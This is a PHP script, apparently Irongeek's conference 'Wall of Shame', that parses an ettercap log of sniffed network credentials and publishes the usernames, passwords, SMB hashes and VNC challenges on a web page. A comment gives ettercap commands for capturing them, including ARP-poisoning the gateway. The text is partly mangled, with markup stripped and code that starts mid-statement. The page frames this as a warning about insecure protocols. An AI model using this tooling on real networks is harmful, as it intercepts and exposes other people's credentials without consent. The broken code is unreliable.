$proto $target $user$password More Info: $info \n"; } /*Point the line below to the log file you are creating with: "ettercap -Tq -D -m ettertest.txt" if you get an error like: BUG at [ec_ui.c:ui_register:339] ops->input == NULL then try just "ettercap -Tq -m ettertest.txt" without the daemon option. Also, you could ARP poison the gateway if you like with a command like: ettercap -Tq -m /var/ettertest.txt -M arp /gateway-IP/ // */ $filename = "/var/ettertest.txt"; $fd = fopen ($filename, "r"); $contents = fread ($fd,filesize ($filename)); fclose ($fd); $delimiter = "\n"; //If you want only unique lines make sure the line below is uncommented. $splitcontents =array_reverse(array_unique(explode($delimiter, $contents))); //If you want all lines make sure the line below is uncommented. //$splitcontents = array_reverse(explode($delimiter, $contents)); /*Set the below to just show the first X characters of the password, "all" to show all. If you are going to set this, also change the location/name of the ettercap log tokeep folks from finding it. */ define("SHOWXCHR", "all"); ?>
Irongeek's
Wall Of Shame
   Using protocols that pass your credentials insecurely at a hacker con? Shame on you! Keep away from protocols like authenticated FTP, POP3, TELNET and Basic HTTP non-anonymous without SSL/TLS when you can. Try encrypted tunnels like SSH or a VPN to get through possibly hostile networks when you have to use such insecure protocols. Have a nice day.

Your buddy,
Irongeek



"; echo "ProtocolTargetUser Password"; foreach ( $splitcontents as $line ) { $line=str_replace(">",">",str_replace("<","<",$line)); $proto =trim(substr($line, 0, strpos($line, ":"))); switch ($proto): case "SNMP": $fontcolor="\"#009900\""; $target= between($line, " : ", " -> COMMUNITY:"); $user= "N/A"; $password=showfirst(between($line, " -> COMMUNITY: ", " INFO:"), SHOWXCHR); $info=between($line, "INFO:", "\0"); PrintCapItem($fontcolor, $proto, $target,$user,$password, $info ); break; case "HTTP": $fontcolor="\"#330099\""; $target= between($line, " : ", " -> USER: "); $user= between($line, "USER: ", " PASS:"); $password=showfirst(between($line, "PASS: ", " INFO:"), SHOWXCHR); $info=between($line, "INFO:", "\0"); PrintCapItem($fontcolor, $proto, $target,$user,$password, $info ); break; case "TELNET": $fontcolor="\"#CC33CC\""; $target= between($line, " : ", " -> USER:"); $user= between($line, "USER: ", " PASS:"); $password=showfirst(between($line, "PASS:", "\0"), SHOWXCHR); $info="N/A"; PrintCapItem($fontcolor, $proto, $target,$user,$password, $info ); break; case "POP": $fontcolor="\"#8888FF\""; $target= between($line, " : ", " -> USER:"); $user= between($line, "USER: ", " PASS:"); $password=showfirst(between($line, "PASS:", "\0"), SHOWXCHR); $info="N/A"; PrintCapItem($fontcolor, $proto, $target,$user,$password, $info ); break; case "FTP": $fontcolor="\"#004400\""; $target= between($line, " : ", " -> USER:"); $user= between($line, "USER: ", " PASS:"); $password=showfirst(between($line, "PASS:", "\0"), SHOWXCHR); $info="N/A"; PrintCapItem($fontcolor, $proto, $target,$user,$password, $info ); break; case "VNC": $fontcolor="\"#00708\""; $target= between($line, " : ", " ->"); $user="Challenge:"." ".between($line, "-> Challenge:", " Response:"); $password="Response:"." ".between($line, " Response:", "\0"); $info="N/A"; PrintCapItem($fontcolor, $proto, $target,$user,$password, $info ); break; case "SMB": $fontcolor="\"#F0708\""; $target= between($line, " : ", " ->"); $user=between($line, "USER: ", "HASH: "); $password="See hash below"; $info=between($line, "HASH: ", "\0"); PrintCapItem($fontcolor, $proto, $target,$user,$password, $info ); break; case "IRC": $fontcolor="\"#FF3333\""; $target= between($line, " : ", " -> USER: "); $user= between($line, "USER: ", " PASS:"); $password=showfirst(between($line, "PASS: ", " INFO:"), SHOWXCHR); $info=between($line, "INFO:", "\0"); PrintCapItem($fontcolor, $proto, $target,$user,$password, $info ); break; case "YMSG": $fontcolor="\"#BBBB00\""; $target= between($line, " : ", " -> USER: "); $user= between($line, "USER: ", " HASH:"); $password=showfirst(between($line, "HASH: ", " - "), SHOWXCHR); $info=between($line, " - ", "\0"); PrintCapItem($fontcolor, $proto, $target,$user,$password, $info ); break; case "DHCP": break; default: if (strpos($line, " : ") != 0 && strpos($line, "PASS") != 0){ $fontcolor="\"#FF00FF\""; $target= between($line, " : ", " -> USER:"); $user= between($line, "USER: ", " PASS:"); $password=showfirst(between($line, "PASS:", "\0"), SHOWXCHR); $info="N/A"; PrintCapItem($fontcolor, $proto, $target,$user,$password, $info ); break; }else{ $trash=$trash."$proto $line"; } endswitch ; } //Call the PHP script with a ?debug=1 on the end to see the trash lines. if ($_GET[debug]==1) echo $trash; echo ""; ?>
Source code for this “Wall of Shame” script can be found at http://www.irongeek.com